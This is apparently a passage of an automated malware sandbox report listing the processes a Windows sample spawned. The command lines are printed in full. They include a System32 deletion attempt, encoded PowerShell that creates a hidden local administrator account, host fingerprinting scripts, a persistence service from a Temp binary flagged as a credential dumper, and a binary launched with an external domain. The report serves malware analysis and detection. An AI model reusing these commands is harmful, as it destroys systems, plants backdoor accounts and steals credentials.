Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	06:14:35
Start date:	11/12/2024
Path:	C:\Windows\System32\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sppsvc.exe
Imagebase:	0x7ff7f5430000
File size:	4'629'328 bytes
MD5 hash:	30C7EF47B57367CC546173BB4BB2BB04
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:14:38
Start date:	11/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7a8060000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	06:15:08
Start date:	11/12/2024
Path:	C:\Windows\Temp\svczHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Imagebase:	0x7ff6994c0000
File size:	8'357'376 bytes
MD5 hash:	9298A0077E8353244A38CAEFE43AF4CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	06:15:08
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	06:15:08
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Imagebase:	0x7ff6bc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:15:09
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6bc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:15:09
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Imagebase:	0x7ff72fc50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:15:09
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:15:09
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:15:09
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff7863e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:15:09
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Imagebase:	0x7ff72fc50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:15:09
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:16:03
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6bc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 10236, Parent PID: 10228

General

Target ID:	35
Start time:	06:16:04
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:16:04
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff7863e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:16:04
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc stop "myRdpService"
Imagebase:	0x7ff6bc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:16:04
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:16:04
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop "myRdpService"
Imagebase:	0x7ff7863e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:16:05
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6bc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8008, Parent PID: 5856

General

Target ID:	41
Start time:	06:16:05
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:16:05
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff7863e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:16:08
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Imagebase:	0x7ff6bc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:16:08
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:16:08
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete "myRdpService"
Imagebase:	0x7ff7863e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:16:08
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Imagebase:	0x7ff7863e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	06:16:09
Start date:	11/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net start "myRdpService"
Imagebase:	0x7ff77b7f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	06:16:09
Start date:	11/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 start "myRdpService"
Imagebase:	0x7ff7a7c90000
File size:	183'808 bytes
MD5 hash:	BA0BCCC6029FBBE6D8B41197F252742F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	06:16:09
Start date:	11/12/2024
Path:	C:\Windows\Temp\myRdpService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\myRdpService.exe cakoi10
Imagebase:	0x7ff759160000
File size:	9'429'504 bytes
MD5 hash:	5641F3A5B9787F23D3D34F0D9F791B7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: hacktool_windows_moyix_creddump, Description: creddump is a python tool to extract credentials and secrets from Windows registry hives., Source: 00000031.00000002.476272694589.00007FF759666000.00000004.00000001.01000000.0000000B.sdmp, Author: @mimeframe
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	06:16:15
Start date:	11/12/2024
Path:	C:\Windows\regedit.exe
Wow64 process (32bit):	false
Commandline:	"regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Imagebase:	0x7ff782ea0000
File size:	370'176 bytes
MD5 hash:	999A30979F6195BF562068639FFC4426
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	06:16:15
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Imagebase:	0x7ff72fc50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	06:16:15
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	06:16:16
Start date:	11/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\systeminfo.exe"
Imagebase:	0x7ff6d9ee0000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	06:16:17
Start date:	11/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff65c780000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	06:16:21
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff6bc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	06:16:21
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	06:16:21
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff72fc50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	06:16:22
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Imagebase:	0x7ff72fc50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	06:16:22
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6fde40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFE7A9A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.474660071989.00007FFE7A9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe7a9a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5566a11b3130019c4514dc0afe5abb2a42dbc703af42b3b729dc32f024361a52
Instruction ID: 15e052d0c79c487cadd15c0d4a0b6ff69547a63eb9bf9ed08fcf5d42a6a78ece
Opcode Fuzzy Hash: 5566a11b3130019c4514dc0afe5abb2a42dbc703af42b3b729dc32f024361a52
Instruction Fuzzy Hash: 8101A73121CB0D4FD748EF0CE051AA6B3E0FB85324F10056EE58AC3661DA36E882CB42

Analysis Process: powershell.exePID: 8860, Parent PID: 8660COMMON

Executed Functions

Function 00007FFE7AA627FA Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.474928479799.00007FFE7AA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7AA60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe7aa60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79aa5ba210441853201e24a197f468d0cff597fbf6d9a08815ac25a074a59b2d
Instruction ID: 11aa579b7a21242183fad64af8d71748ef87cb69b674f6cac8a244cdc82ed513
Opcode Fuzzy Hash: 79aa5ba210441853201e24a197f468d0cff597fbf6d9a08815ac25a074a59b2d
Instruction Fuzzy Hash: 0601A733F19E1A0AFBA5865C68123FAA2D1DF44631B4801BBC96DC36E9DE05D81547C5

Function 00007FFE7A9937B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.474927181097.00007FFE7A990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe7a990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ee3356dda89a4d7df1a1edc0decf387feeb76cdc43a44fe9b08ee816e11a39
Instruction ID: 42f49231567153e9c2f3ce097e834a77a15369653d51833d8cdec0d7a39e15a8
Opcode Fuzzy Hash: 33ee3356dda89a4d7df1a1edc0decf387feeb76cdc43a44fe9b08ee816e11a39
Instruction Fuzzy Hash: 8901677121CB0D4FD748EF0CE451AA6B7E0FB99324F10056EE59AC3661D636E892CB46

Function 00007FFE7AA62838 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.474928479799.00007FFE7AA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7AA60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe7aa60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b8fb03f34710e9a56b20c50a495746d13167fe302c83efe1af7ab2a28edeef1
Instruction ID: 9cb7508b7c93544e871682da3626e297d27c97d7c72dbc26ed27ff2506e73c62
Opcode Fuzzy Hash: 8b8fb03f34710e9a56b20c50a495746d13167fe302c83efe1af7ab2a28edeef1
